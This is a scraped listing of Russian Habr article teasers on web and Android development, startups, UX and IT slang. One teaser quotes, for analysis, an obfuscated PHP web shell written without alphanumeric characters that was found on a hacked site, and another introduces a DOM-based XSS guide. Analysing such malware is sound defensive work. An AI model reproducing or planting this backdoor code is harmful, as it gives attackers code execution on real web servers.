• Делаем свой персональный Skype, пошаговая инструкция создания WebRTC приложения

      WebRTC

      WebRTC позволяет реализовать real-time аудио/видео связь через браузер (firefox и chrome).

      В этом топике я расскажу как реализовать простейшее WebRTC приложение.
      Читать дальше →
    • PHP-шелл без единого буквенно-цифрового символа

        Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
        @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
        $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
        $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
        $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
        $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
        $_=$ 
        $_[$__+ $__] ;$_[@-_]($_[@!+_] );
        

        Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
        Узнать подробности
      • Mobify.js — изменение DOM до начала загрузки ресурсов

          image

          Mobyfy.js — открытая библиотека, предназначенная прежде всего для облегчения создания отзывчивых (responsible) сайтов. Основная фишка состоит в так называемом «Capturing API» — позволяющем модифицировать DOM непосредственно ДО начала загрузки браузером ресурсов (скриптов, изображений и т.д.)
          Читать дальше →
        • Несколько интересностей и полезностей для веб-разработчика (выпуск 3)

            Доброго времени суток, уважаемые хабравчане. С прошедшим вас днем программиста. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.

            Cloudconvert




            Великолепный онлайн конвертер файлов, который поддерживает в общей сложности 140 форматов следующих типов: archive, audio, cad, document, ebook, image, presentation, spreadsheet, video. Синхронизируется с Dropbox и Google Drive, благодаря чему возможно использование на всех смартфонах. А самое приятное это то, что для данного сервиса существует функциональное и простое API.

            Читать дальше →
            • +123
            • 59.5k
            • 29
          • В поисках лазеек: гид по DOM Based XSS



              XSS неспроста стоит в верхней части списка опасностей OWASP TOP 10. Любой толковый программист о них знает. Но это не мешает статистике: восемь из десяти веб-приложений имеют XSS-уязвимости. А если вспомнить личный опыт пентестов банков, то более реальной представляется картина «десять из десяти». Кажется, тема изъезжена от и до, однако есть подвид XSS, который по разным причинам потерялся. Это — DOM Based XSS. И как раз о нем я сегодня пишу.

              Подробности
            • Строковая интерполяция. Сказка-быль

                Постановка задачи


                Совершенно случайно я превратился из питониста в JS-разработчика, и на мою хрупкую детскую психику обрушился непосильный груз вещей, которых в JS нет. Например, нет удобного форматирования строк. На питоне можно написать:
                'hello, %(thing)s' % {'thing': 'world'}
                

                Или вот так:
                'hello, {thing}'.format(**{'thing': 'world'})
                


                Читать дальше, там интересно
              • Заовнил, вонзился, запилил: словарь IT-шника

                  Как часто друзья и родственники, не связанные с IT, просили вас рассказать, что нового на работе, а вы, увлекаясь, начинали говорить вроде на русском, но совершенно непонятном для них языке? Мы создали наш словарь терминов, в который вошли как внутренний сленг отдельных проектов, так и достояние широкой общественности. Надеемся, эта компиляция поможет айтишникам при необходимости выразить свои мысли на языке маглов, а неайтишникам – понять, что айтишники несут. Ну и просто повеселит всех. Ведь пятница!

                  Про код и изменения





                  Код добра – программный код, очевидно содержащий непоправимые улучшения.
                  Котятоемкий код — очень некрасивое техническое решение. Выражение обязано своим происхождением предположению, что каждый раз, когда программист пишет строчку некрасивого кода, бог убивает котенка.
                  Непоправимо улучшить – запилить годное, но не до конца проверенное изменение функционала. Синоним — необратимо улучшить.
                  Мясной коммит (ковровый коммит) – правка, судя по количеству и характеру изменений, наверняка содержащая непоправимые улучшения.
                  Тупач – очень срочная задача, результаты работ по которой должны попасть в бранч для выкатываемой версии. Образовано от to patch.
                  Минорный тупач – задача горит – сильнее некуда, но уж очень мелкая.
                  Глубокий ToDo Later — (отправить задачу в глубокий тудулейтер) статус задачи в таск-трекере отложена на неопределенный срок.
                  Подпереть костылями – реализовать функциональность за счет непредусмотренного временного решения.
                  Шрапнельные правки – огромное количество мелких правок по всему проекту, которые очень сложно оттестировать.
                  Скриптюня — очень классный скрипт, экономит кучу времени, практически лучший друг оператора.
                  Читать дальше →
                • Несколько интересностей и полезностей для веб-разработчика (выпуск 2)

                    Доброго времени суток, уважаемые хабравчане. За последнее время я увидел несколько интересных и полезных инструментов/библиотек/событий, которыми хочу поделиться с Хабром.

                    Webflow



                    С помощью данного сервиса вы сможете сверстать кроссбраузерный отзывчивый макет за 55 минут. Очень красивый и удобный интерфейс. Идеальное решение для веб-дизайнеров, 26 000 из которых уже используют Webflow. Для создания двух проектов сервис бесплатный, а в дальнейшей перспективе вас ждут вполне демократичные цены. Инструмент реально «крутой».

                    Если Вам GUI для верстки не комильфо сам по себе как для меня, все равно рекомендую зарегистрироваться и экспортировать парочку responsive макетов. А еще есть простой генератор отзывчивого лэйаута и Responsive Patterns.

                    Parallax.js


                    Функциональный и простой инструмент для создания параллакс эффекта.

                    Читать дальше →
                    • +104
                    • 80.9k
                    • 27
                  • Core Data для iOS. Глава №1. Практическая часть

                      Хабралюди, добрый день!
                      Сегодня хочу начать написание ряда лекций с практическими заданиями по книги Михаеля Привата и Роберта Варнера «Pro Core Data for iOS», которую можете купить по этой ссылке. Каждая глава будет содержать теоретическую и практическую часть.



                      Содержание:
                      • Глава №1. Приступаем (Практическая часть)
                      • Глава №2. Усваиваем Core Data
                      • Глава №3. Хранение данных: SQLite и другие варианты
                      • Глава №4. Создание модели данных
                      • Глава №5. Работаем с объектами данных
                      • Глава №6. Обработка результатирующих множеств
                      • Глава №7. Настройка производительности и используемой памяти
                      • Глава №8. Управление версиями и миграции
                      • Глава №9. Управление таблицами с использованием NSFetchedResultsController
                      • Глава №10. Использование Core Data в продвинутых приложениях


                      Очень много больших картинок. Осторожно.
                    • Google выпустила парсер HTML5 на чистом Си

                        Удачная возможность для веб-разработчиков выучить язык программирования Си — HTML5-парсер Gumbo, реализованный в виде небольшой библиотеки C99 без внешних зависимостей. Парсер создан как строительный блок для создания других инструментов и библиотек, таких как валидаторы, языки шаблонов, инструменты рефакторинга и анализа кода.

                        Особенности:
                        • Полная совместимость со спецификациями HTML5.
                        • Устойчивость к некачественным входным данным.
                        • Простые API, которые могут быть легко обработаны программами на других ЯП.
                        • Поддержка исходных позиций и указателей в оригинальном коде, при навигации по дереву зависимостей.
                        • Проходит все тесты html5lib-0.95.
                        • Проверен на более чем 2,5 млрд страниц в индексе Google.
                        Читать дальше →
                      • Standard PHP Library (SPL) — Часть 1: Структуры данных

                        Привет, Хабр! В данной статье речь пойдет про Standard PHP Library (SPL). На хабре до сих пор нет толкового мануала об этой библиотеке, которая уже стала частью ядра PHP (с версии 5.3). Данная библиотека содержит набор интерфейсов, классов структур данных, итераторов и функций, с помощью которых можно значительно упростить себе жизнь и повысить качество кода. В данной статье я рассматриваю такую часть библиотеки, как структуры данных. Также я покажу альтернативные решения поставленных задач и сравню скорость выполнения в обоих случаях.

                        Подробнее
                      • Почему бережливый стартап все изменил?

                        • Translation

                        Запуск нового проекта, будь то технологичный стартап, мелкий бизнес либо совместное предприятие в виде крупной корпорации — это всегда проект из разряда «пан или пропал». В соответствии с многолетней формулой, вы пишите бизнес план, расхваливаете его инвесторам, собираете команду, выводите продукт на рынок и начинаете продавать настолько интенсивно, насколько это возможно. И скорее всего где-то в этой последовательности событий вас ждет неизбежный провал. Перевес не в вашу пользу: новое исследование, проведенное Шикхаром Гошем из Гарвардской Школы Бизнеса, показывает, что 75% всех стартапов терпит неудачу.

                        Однако недавно появилась важная противодействующая сила, которая может сделать процесс по запуску компании менее рискованным. Данная методология называется «бережливый стартап»: в ней при разработке проекта проведение исследований превалирует над детальным планированием, обратная связь с потребителем — над интуицией, итеративная разработка — над традиционным «большим предварительным проектированием». Несмотря на то, что данной методологии всего несколько лет, ее концепции, такие как «минимальный жизнеспособный продукт» и «повороты» — pivots — быстро укоренились в мире стартапа, и бизнес-школы уже начали приспосабливать к ним свои учебные планы.

                        Однако, движение бережливого стартапа еще не стало мейнстримом, и нам еще только предстоит почувствовать его полное воздействие. В большинстве своем оно примерно в том же состоянии, в котором было движение больших данных пять лет назад – состоящее в основном из терминов, которые пока что не осознаны в должной степени, и чьи последствия компании только начинают понимать. Но со все большим распространением, они кардинальным образом меняют общепринятые понятия о предпринимательстве. Новые предприятия, всевозможных видов, пытаются повысить свои шансы на успех следуя их принципам «fail fast» и постоянного обучения. И несмотря на название методологии, в долгосрочной перспективе дивиденды могут получить и крупные компании, применившие данные принципы.

                        В данной статье я предложу краткий обзор методов бережливого стартапа и то, как они эволюционировали. Что более важно, я объясню, как, в сочетании с другими трендами в деловой сфере, они могут положить начало новой предпринимательской экономике.
                        Читать дальше →
                      • Tasks и Back Stack в Android

                        • Tutorial
                        Привет. Из названия темы вы могли заметить, что речь пойдет о том, как устроены Tasks и Back Stack в Android. Эта статья будет являться свободным переводом официального источника. Тема больше ориентирована на новичков, но я думаю, что и опытный разработчик сможет узнать что-то новое, т.к. тема специфична и не часто приходится кастомизировать поведение наших Activity.
                        Читать дальше →
                      • Мы спасены! Genymotion — забудьте про вашего эмулятора-слоупока

                          Думаю, все кто осваивал разработку приложений под Android, сразу же осозновал невозможность тестирования программ без реального устройства. А все потому что официальный Android эмулятор страдает серьезными проблемами с производительностью.
                          Решение проблемы
                        • Создаем ListView с Context Action Bar как в новом Gmail



                          Что хотим получить


                          Сделать плавно работающий список с возможностью выделения рядов как кликом на иконку ряда, так и долгим нажатием на него. Также, дабы выделение не пропало даром, мы должны дать возможность пользователю производить некие действия с выделенными объектами.

                          Читать дальше →
                          • +23
                          • 21.7k
                          • 6
                        • Интеграция дизайна мобильных приложений. Часть 1: Android



                          Этот доклад я прочитал на Dribbble Meetup 2013, который прошел в Москве в День космонавтики. В нём описан мой процесс интеграции дизайна — то есть в каком виде передавать приложение от дизайнера к разработчику мобильных приложений. Выбор интсрументов, которые я использую в работе, и сам процесс сформировались опытным путём, методом проб и ошибок. Надеюсь, он поможет сохранить вам немного времени и избавит хотя бы от части рутинной работы. Так как презентация содержит достаточно большое количество слайдов, я решил разбить материал на две части. Первая часть — интеграция дизайна под платформу Android. Вторая — под iOS и Windows Phone, а также упомяну про Samsung Bada. Дальше — много картинок.
                          Читать дальше →
                        • Несколько полезных шаблонов для Android-разработки под eclipse

                            Вступление


                            Привет, коллеги.

                            Сегодня я хочу поделиться с вами несколькими полезными шаблончиками (templates) для IDE Eclipse, которые помогут вам ускорить некоторые рутинные операции при разработке под Android. Я пока что использую Eclipse для разработки, но, я уверен, что Idea позволит создавать совершенно аналогичные шаблоны.

                            Что такое шаблоны? Это заранее заготовленные кусочки кода, которые IDE может быстро подставлять для вас при нажатии на Ctrl+Space. Например, введите «syso» в eclipse, нажмите Ctrl+Space. Бац, у вас появился System.out.println(), или «fore» — у вас появится готовый шаблон для цикла for each. Более того, данные кусочки параметризированы, и IDE предложит вам ввести имена для нужных переменных.

                            Если вам это интересно, приступим.
                            Читать дальше →
                          • SlideStackView или extending ViewGroup в Android

                              Занимаясь разработкой почтового приложения под Android, мы в Mail.Ru очень часто анализируем, насколько удобно для конечного пользователя построена навигация внутри нашей программы. Думаю, что не стоит объяснять насколько это важно, потому что все, кто пользуются мобильными приложениями, и без этого знают, что продукт, который не предоставляет интуитивно понятную и быструю навигацию, будет проигрывать тем продуктам, которые об этом позаботились. Удобство и тщательно продуманная навигация – это то, за что пользователь будет либо любить ваше приложение, либо каждый раз проявлять невероятные усилия, чтобы не разбить свой телефон об пол.

                              Читать дальше →
                              • +35
                              • 15.7k
                              • 7
                            • Основы верстки для нативных андроид приложений

                              В этом посте будут рассмотрены вопросы верстки при создании нативных приложений для android. Той верстки, которая описывается в xml файлах из директории res/layout/ Итак начнем:
                              Существует пять стандартных типов верстки:
                              • AbsoluteLayout
                              • FrameLayout
                              • LinearLayout
                              • RelativeLayout
                              • TableLayout

                              Дальше
                            • Памятка UX / UI дизайнеру. 19 принципов построения интерфейсов

                              • Tutorial
                              Мы продолжаем писать про проектирование сайтов и разработку интерфейсов. На этот раз выделили сразу 19 принципов построения интерфейсов. Эти принципы мы по крупицам собирали на протяжении последних 3х лет работы из разных книг, статей, исследований и, конечно, собственного опыта разработки интерфейсов.

                              Создание интерфейсов в проектировании больших сайтов – это самый объемный и один из самых важных этапов. Поэтому я отдельно решил выделить принципы и законы проектирования интерфейсов.

                              • Принцип KISS. От англ. «keep it short and simple». Интерфейс должен быть простой и понятный, задачи должны решаться минимальным числом действий, все должно быть понятно и очевидно.
                              • Не заставляйте думать. Нужно избегать сложных действий, которые заставляют пользователей думать.
                              • Убираем очевидное. Не стоит показывать очевидные элементы интерфейса, нужно сосредоточиться только на действительно необходимых вещах.
                              • Соотношение сигнал / шум. В каждом интерфейсе есть важные элементы (сигналы) и маловажные или даже бессмысленные для определенной части системы (шум), естественно, нужно концентрироваться на сигналах и избегать шума.
                              • Проверенное лучше модного. Не стоит цепляться за моду и делать что-то только потому, что так делают другие, лучше отдать предпочтение проверенным элементам интерфейса.

                              Читать дальше →